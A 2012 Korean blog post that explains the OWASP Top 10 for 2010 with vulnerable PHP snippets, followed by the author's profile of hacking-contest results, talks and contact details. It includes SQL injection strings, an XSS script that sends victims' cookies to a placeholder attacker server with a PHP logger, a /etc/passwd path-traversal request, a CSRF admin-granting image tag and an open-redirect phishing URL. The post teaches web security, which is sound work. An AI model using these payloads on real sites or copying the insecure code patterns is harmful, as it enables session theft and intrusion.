티스토리 툴바


OWASP TOP 10 for 2010

2012/03/15 00:58 from Paper

 

개요

OWASP TOP 10은 매년 가장 위험한 10대 웹 보안 취약성을 소개하고 있는 프로젝트 문서이다. 본 글에서는 기존 OWASP에서 제공하고 있는 단순 서술 중심의 내용을 좀 더 보강하여 실제 취약한 코드를 위주로 내용을 재편성하여 기술하였다.

OWASP TOP 10 for 2010 은 다음과 같다.
 

A1 - 인젝션 
A2 - 크로스 사이트 스크립팅(XSS)
A3 - 취약한 인증과 세션 관리
A4 - 안전하지 않은 직접 객체 참조
A5 - 크로스 사이트 요청 변조(CSRF)
A6 - 보안상 잘못된 구성
A7 - 안전하지 않은 암호 저장
A8 - URL 접근 제한 실패
A9 - 불충분한 전송 계층 보호
A10 - 검증되지 않은 리다이렉트와 포워드

실제로 각각의 취약점이 어떠한 공격법을 의미하는지 알아보겠다.

 
 
 
A1 - 인젝션

Injection 은 Code Injection, SQL Injection, LDAP Injection, XPATH Injection.. 등 많은 알려진 Injection 기술을 칭한다.
그중 대표적인 SQL Injection 공격 기법은 다음과 같다.

Mysql 의 Query가 다음과 같을 때,
 

 $result = mysql_query("select * from member where id='$_GET[id]'");
 
ID 가 hellsonic 임을 가정해보면 쿼리는 아래와 같다.
 
 $result = mysql_query("select * from member where id='hellsonic'");
  
만약 공격자가 악의적인 목적으로 id 에 ' or '1'='1 (혹은 ' or 1=1# .. 등) 을 입력한다면 쿼리는 다음과 같고
 
$result = mysql_query("select * from member where id='' or '1'='1'");
 
Mysql에서는 member table의 id가 ''(공백) 이거나 1이 1인 경우를 출력. 이라 해석되므로,

member 테이블의 모든 결과가 리턴될것이다.

(magic_quotes_gpc, firewall 등 모든 방어환경은 생략한다.)
 
 
 
 

A2 - 크로스 사이트 스크립팅(XSS)

XSS는 공격자가 피해자의 Javascript 실행을 허용함으로써 사용자의 쿠키, URL, 페이지 등 Javascript 범위내의 모든 역할을 수행시킬 수 있다.

대표적으로 세션을 가로채는 공격 시나리오는 다음과 같다.

1. cookie인자값을 log.txt에 기록하는 hack.php 작성
<?
   $cookie = $_GET[cookie];
   $fp = fopen("log.txt",a);
   fwrite($fp,$cookie."\r\n");
   fclose($fp);
?>
 

2. 공격자는 다음과 같은 스크립트를 게시판에 쓴다. (피해자가 볼 수 있는 페이지 어디든 좋다.)
 <script>window.location = 'http://[공격자서버]/hack.php?cookie='+encodeURIComponent(document.cookie)</script>
 
3. 피해자는 위의 스크립트를 실행하고, 현재 자기자신의 쿠키값을 공격자서버의 hack.php 로 전달한다.

4. 공격자는 얻은 쿠키값을 이용하여, 피해자로 로그인한다.
 
 
 
 

A3 - 취약한 인증과 세션 관리

서버가 각 이용자의 정보를 유지하기 위해 Cookie 라는것을 사용한다.

세션과 같은 보호되지 않은 쿠키를 사용한다면, 쿠키를 변조하여 인증우회등 다양한 공격시나리오가 나올 수 있다.
 
 
취약 코드 admin.php
<?
if($_COOKIE[id] == "admin"){
    // Admin Secret Information...
}else{
    // Access Denied
}
?>

공격자는 손쉽게 cookie 의 id값을 admin 으로 변조하여, 인증을 시킬수 있을것이다.
 
 
 
 

A4 - 안전하지 않은 직접 객체 참조

쇼핑몰에서 결제를 완료한뒤 영수증을 보려면 다음과 같은 주소를 갖는 경우가 존재한다.
 
 receipt.php?orderno=주문번호
 
PHP내부에 체크 루틴이 존재하지 않는다면

공격자는 주문번호를 수정하여, 자신의 주문이아닌 다른 이용자의 주문내역을 확인할 수 있을것이다.
 
 
혹은 다운로드시 다음과 같은 주소를 요청하는것을 보게되는데,
 download.php?file=myfile.zip

이 또한 file을 직접 파일명을 받아 다운로드시키기때문에 아래와 같은 공격을 하여 파일 다운로드가 가능하다.
 download.php?file=../../../../etc/passwd





A5 - 크로스 사이트 요청 변조(CSRF)
 
대부분의 웹 게시판들은 이미지 첨부를 위하여 이미지 태그를 허용한다 (예 . <IMG SRC=image.jpg>)

현재 페이지에 이미지 파일이 있으면, 그것을 GET method를 사용하여 요청하게되는데,

미리 알아둔 관리자권한을 주는 페이지의 주소를 넣고, 다음과 같이 게시판에 글을 등록하게되면

 <IMG SRC="http://target/admin/user_modify_ok.php?id=hellsonic&is_admin=1">

user_modify_ok.php 의 권한이 있는 관리자가 이미지 태그를 실행하게 되었을때,

해당 페이지를 요청하게되고, hellsonic 아이디가 관리자로 변경되게된다.
 
 
 
 

A6 - 보안상 잘못된 구성

공개 어플리케이션 혹은 솔루션을 사용중일때, 관리자 페이지의 기본 패스워드를 통한 접근,

디렉토리 리스팅을 통한 정보 획득 등 이 포함된다.

혹은 에러 기반의 공격법(Error Based SQL Injection 등
)도 보안상 잘못된 구성이라고 할 수 있다.
 
 
 
 

A7 - 안전하지 않은 암호 저장

대부분의 사이트들이 사용자의 암호를 Hash로 저장하여 사용자가 입력한 값을 Hash하여 비교하는 방식으로

다음과 같이 로그인처리를 한다.
 
<?
//...
$result = mysql_query("select password from member");
$pwd = mysql_fetch_array($result);
if($pwd[0] == md5($_POST[password])){
// Login OK
}else{
// Access Denied
}
//...
?>

이는 무작위대입공격 혹은 레인보우 테이블을 이용하여,

짧은 시간으로 암호를 크랙 할 수 있기때문에, 적절한 salt를 사용하여 암호화해야 한다.
 
 
 
 

A8 - URL 접근 제한 실패

관리자페이지가 다음과 같이 구성되어있다고 가정하자
 http://target/admin/index.php
 http://target/admin/login.php
 http://target/admin/member_info.php

member_info.php 는 중요 정보를 담고 있는 페이지로써, login.php 에서 로그인이 허용된자 만이 접근할 수 있어야한다.

member_info.php 에 사용자(로그인) 체크를 하지 않는다면 공격자는 로그인을 거치치 않고 member_info.php 파일에 접근하여

중요 정보를 볼 수 있을 것이다.
 
 
 
 

A9 - 불충분한 전송 계층 보호

로그인에만 SSL을 사용하는 페이지가 있다면,

네트워크 모니터링을 통하여 로그인 이후의 사용자의 패킷(none SSL)의 쿠키를 훔쳐와 사용자로 인증 할 수 있을것이다.

SSL을 사용하려면 인증을 필요로하는 모든 페이지에 SSL 암호를 사용해야한다
 
 
 
 

A10 - 검증되지 않은 리다이렉트와 포워드

사용자 인증을 필요로 하는 페이지에 접근을 하면, 사이트는 로그인 페이지로 이동시킨뒤 로그인에 성공하면 다시 이전 페이지로 돌아가기위해 redirect페이지 주소를 받게된다.
http://target/login.php?redirect=http://target/information.php

만약 공격자가 아래와 같이 목적 파라미터를 피싱 사이트로 변조하여 피해자에게 전송한다면
 http://target/login.php?redirect=http://fishing/target.php

피해자는 URL의 도메인을 보고 피싱 사이트라고 생각을 못하지만, 접속을 하여 로그인을 거치면 피싱사이트로 이동하게 된다.

또한 극단적인 상황에선(GET method,header redirect) 리퍼러를 이용하여 사용자의 로그인 정보를 훔칠 수 있게된다.
 
 
 

'Paper' 카테고리의 다른 글

OWASP TOP 10 for 2010  (0) 2012/03/15
Zeroboard XE 시스템 권한 획득 취약성  (0) 2012/02/14
2th Holyshield 2011 Writeup  (0) 2011/11/22
10th HUST Hacking Festival 2011 Writeup  (2) 2011/10/06
Posted by HellSonic 트랙백 1 : 댓글 0

Profile

2012/03/06 17:02 from Hellsonic Profile

이름 - 이종호
닉네임 - Hellsonic
학교 -  인하대학교 컴퓨터공학과
이메일 -
korea.hellsonic@gmail.com
네이트온 - 7155537@naver.com


[수상]
Beistlab Hacking Contest 2008 / 3위(TheSexyM2n Team) / 2008.09
동명대학교 해킹 챔피언십 2008 / 3위(개인) / 2008.12
안철수연구소 V스쿨 6기 해킹대회 / 1위(개인) / 2009.02
Argos Hacking Festival 2009 / 2위(개인) / 2009.02
4회 정보보호올림피아드 / 2위(개인) / 2009.07
Cyber Warfare ISEC 2009 국제 해킹방어대회 / 본선 / 2009.09
2009 순천향대학교 청소년 정보보호 페스티벌 / 2위(개인) / 2009.10
코드게이트(Codegate) 국제해킹방어대회 / 본선 / 2010. 04

카톨릭대 CAT HolyShield 2010 / 2위(TheSexyM2n Team) / 2010. 11
Argos Hacking Festival 2010 / 1위(TheSexyM2n Team) / 2010.12
HUST Hacking Festival 2011 / 2위(Rolypoly Team) / 2011.10

카톨릭대 CAT HolyShield 2011 / 1위(rolexsweep Team) / 2011.11

[발표]
제 1회 CEH 멤버스데이(CEH DAY) / 웹 해킹시연 및 일문일답 / 2009. 10
국제 사이버 방어 워크샵(ICDW, 국방부) / 웹 해킹시연 / 2010. 06
호서전문학교 웹해킹반 강의 / 특강 / 2010. 12
코드게이트 세미나 / CODEGATE2011 문제풀이 / 2011.06
국제 사이버 방어 워크샵(ICDW, 국방부) / XSS Shell, Tunneling 기법 / 2011. 06
SecureKorea 2011 / Voip 해킹시연 / 2011.07.07
SANS Korea 웹 플랫폼 위협 대응 전략 세미나 / 최신 APT 공격의 정의와 특징 사례 / 2011. 07.13
국제 통합 정보보호 구축전략 컨퍼런스 ISEC 2011 / 최신 해킹기법 시연과 대응전략 / 2011.09.20
대학정보보호동아리대상 정보보호 기술동향 세미나 / 최신 해킹기법 시연과 대응법 / 2011.11

[문제출제/운영]
Cyber Warfare ISEC 2010 해킹방어대회 / 2010. 11
코드게이트(Codegate) 2011 국제해킹방어대회 / 2011. 04
Cyber Warfare ISEC 2011 해킹방어대회 / 2011. 08
코드게이트(Codegate) 2012 국제해킹방어대회 / 2012. 04

기타 다수 모의해킹



'Hellsonic Profile' 카테고리의 다른 글

Profile  (0) 2012/03/06
Posted by HellSonic 트랙백 1 : 댓글 0